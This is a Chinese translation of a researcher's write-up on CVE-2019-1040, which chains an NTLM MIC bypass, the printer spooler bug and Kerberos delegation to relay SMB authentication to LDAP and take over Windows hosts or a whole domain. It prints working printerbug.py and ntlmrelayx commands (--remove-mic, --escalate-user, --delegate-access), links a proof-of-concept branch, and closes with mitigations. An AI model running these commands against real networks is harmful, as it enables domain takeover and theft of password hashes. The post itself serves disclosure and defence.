本周早些时候,微软发布了CVE-2019-1040补丁 ,这是一个允许绕过NTLM replay mitigations漏洞。该漏洞是由 Marina Simakov和Yaron Zinar 发现(以及Microsoft Advisory 中的其他几位成员),他们发表了有关该漏洞的技术文章在这里. 短版本是此漏洞允许在 NTLM 身份验证中绕过消息完整性代码。然而,如果结合 Lee Christensen发现的打印机Bug ,以及我自己的一些研究 ,该研究建立在Elad Shamir的 Kerberos 研究基础之上,其危害是很大的。使用这些漏洞的组合,可以中继 SMB 身份验证到 LDAP。这允许以system权限执行远程代码 在任何未修补的 Windows 服务器或工作站(甚至在不同的活动目录林), 并通过任何未修补的 Exchange 服务器升级到域管理员(除非在域中减少了 Exchange 权限)。这篇文章最重要的要点是, 你应该尽快应用2019年6月的补丁。
将SMB 重放到 LDAP 需要 0 步
正如我之前在我的博客中讨论过的P rivExchange 那样,过去一年,不同人群的研究使我们距离接管 ActiveDirectory中的任何计算机都差了一步。如果可以使 Windows 服务器(如 Exchange)对您进行身份验证, 并将该身份验证通过 LDAP 中继到域控制器,则可以在 ActiveDirectory 中执行具有查重访受害者权限的操作。在 Exchange 中, 产生了足够高的特权来授予自己 DCSync 权限,这基于PrivExchange 漏洞。
或者,通过滥用基于资源的约束 Kerberos 委派 ,可以在受害者服务器上授予攻击者模拟权限,这将导致管理员访问该服务器上(在 "我的Worst of bothWorlds post) 。但是,问题在于,由于 NTLM 协议的工作方式,无法(或多或少地) 将 SMB 流量重放到 LDAP, 因为标志将触发 LDAP 签名。这防止了通过滥用 SpoolService bug在 SMB 上触发的身份验证产生更大的影响。
CVE-2019-1040 漏洞使得在不使身份验证无效的情况下修改 NTLM 身份验证数据包成为可能, 从而使攻击者能够删除阻止从 SMB 重放到 LDAP 的标志。由于 Active Directory 已经处于相当危险的状态(一个漏洞远离接管任何主机),因此此单个漏洞是使用 SpoolService bug/功能危害任何系统的最后一块难题。这甚至可以跨林 信任,因为 SpoolService bug 的唯一要求是任何经过身份验证的帐户。
攻击
目前,我已经确定了两个攻击途径:
- 使用任何 AD 帐户,通过 SMB 连接到受害者 Exchange 服务器,并触发 SpoolService 错误。攻击者服务器将通过 SMB 连接到您,SMB 可以通过修改后的 ntlmrelayx 版本重放到 LDAP。使用重放的 LDAP 身份验证,向攻击者帐户授予DCSync 权限。攻击者帐户现在可以使用 DCSync 转储AD 中的所有密码哈希。
- 使用任何 AD 帐户,通过 SMB 连接到受害服务器,并触发SpoolService 错误。攻击者服务器将通过 SMB 连接到您,SMB 可以通过修改后的 ntlmrelayx 版本中继到 LDAP。使用中继的 LDAP 身份验证,将受害者服务器的基于资源的约束委派权限授予攻击者控制下的计算机帐户。攻击者现在可以作为受害者服务器上的任何用户进行身份验证。
有几点注意事项:
- 在第一次攻击中,Exchange 服务器可以是任何版本(包括PrivExchange修复补丁的版本)。唯一的要求是,在共享权限或 RBAC 模式下安装时,Exchange默认具有高权限。2019 年 2 月 12 日之后安装的新 Exchange 部署,或手动更新以降低此 Microsoft 博客中建议 的权限的安装,并不容易受到攻击(但仍容易受到第二次攻击)。
- 在第二次攻击中,服务器可以是任何未修复补丁的Windows 服务器或工作站,包括域控制器。当以域控制器为目标时,至少需要一个易受攻击的域控制器才能将身份验证重放到其他域控制器上,同时触发另一个域控制器上的 SpoolService 错误(理论上可能重放回同一主机,因为我们可能更改 NTLM 身份验证,我没有调查此)。
- 第二次攻击需要控制计算机帐户。这可能是攻击者从中获得密码的计算机帐户,因为它们已经是工作站上的管理员,或者攻击者创建的计算机帐户,滥用Active Directory 中的任何帐户在默认情况下可以创建这些帐户。
Proof of concepts(POC)
我已经更新了ntlmrelayx(impacket 的一部分),有一个--remove-mic
flag,它利用CVE-2019-1040基于技术描述Preempt researchers .
攻击1 - 在Exchange上选取(再次)
在第一次攻击中,我们使用 SpoolService/打印机 Bug攻击 Exchange 服务器,并使用 ntlmrelayx 重放此服务器。我使用的是 krbrelayx repo 中的printerbug.py ,您也可以使用 dementor 或the original .NET code。
python printerbug.py testsegment.local/testuser_s2012exc.testsegment.local<attackerip/hostname >
这将使 Exchange 服务器连接到我们:
我们运行 ntlrelayx的 --remove-mic
flag并进行捕获:
ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
这将授予我们的用户 DCSync 权限,我们可用于转储所有密码哈希 :
攻击 2 -Kerberos 委派
第二次攻击主要是我之前博客 中描述的过程。
我们使用ntlmrelayx.py的-- remov-mic和--delegate-access flags通过TLS(LDAPS)并将其 重放到 LDAP,以便能够创建新的计算机帐户(我们也可以 重放到普通 LDAP,但随后我们必须升级现有计算机帐户):
ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support
并再次对printerbug.py脚本运行辅助域控制器(我知道下面的 rlt-app-server,这是我在实验室中升级到 DC 的服务器):
这让我们获得重放连接,创建一个计算机帐户 :
我们可以用它来模拟域管理员帐户:
我们可以使用此impersonate直接针对此 DC 运行 secretsdump,并获得所有哈希:)
奖金 - 跳过林
如果我们的用户在完全不同的(受信任的)活动目录林中 ,我们可以在replaytest.local 域中执行完全相同的攻击, 因为任何经过身份验证的用户都可以触发 SpoolService后台连接。因此,我设置了从replaytest .local 到 domainb.local的单向传出林信任(这意味着来自 domain.b 的用户可以在replaytest进行身份验证林/域 )。这同样可以与双向信任一起发挥作用。
我们运行相同的命令,但现在用户从domainb触发打印机 Bug:
我们看到相同的结果:
防御和缓解措施
通过滥用 CVE-2019-1040,我们可以使用协议弱点和默认设置的组合接管任何易受攻击的 Windows 主机。最重要的缓解措施是尽快安装2019年6月的补丁。
除此之外,如果你还没有这样做,可按照PrivExchange 博客 (发布的更新部分)中讨论的那样减少Exchange的权限__。
您可以通过 TLS 强制实施 LDAP 签名和 LDAP 通道绑定来防止 NTLM 重放到 LDAP 。但是,如其他博客中所述,当未安装此问题的修补程序时, 也可以绕过通道绑定。
为了防止攻击者触发SpoolService Bug,您可以选择禁用 Printer Spooler服务。另一种缓解措施是阻止敏感主机上的端口 445 上的传出流量,或者确保网络 过滤可防止服务器连接到客户端范围并尽可能隔离各个客户端。拥有高度分段的网络是一种重要的防御措施。
最后,请记住,即使安装所有可用的修补程序 ,您仍可以将 SMB重放 到LDAP 1,除非您应用进一步的纵深防御措施,否则它只是在等待下一个不可避免的 NTLM 漏洞利用。
代码
POC 代码现在在我的个人 GitHub 上, 直到它合并到 impacket 中:https://github.com/dirkjanm/impacket/tree/micremove. 这将在 SMB 和 LDAP 重放客户端中实现 MIC 删除。
致谢
这篇文章结合了许多研究人员的工作:
- MarinaSimakov, Yaron Zinar和Yongtao Wang(以及Microsoft advisory 中的致谢的其他人)发现此漏洞。
- Lee和Will他们的工作在SpoolService bug 和Breaking forest boundaries。
- AlbertoSolino 在impacket所作的工作
- Elad Shamir 用于基于资源的约束委派研究
- 此页面链接的博客中提到的所有其他人员
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场 https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/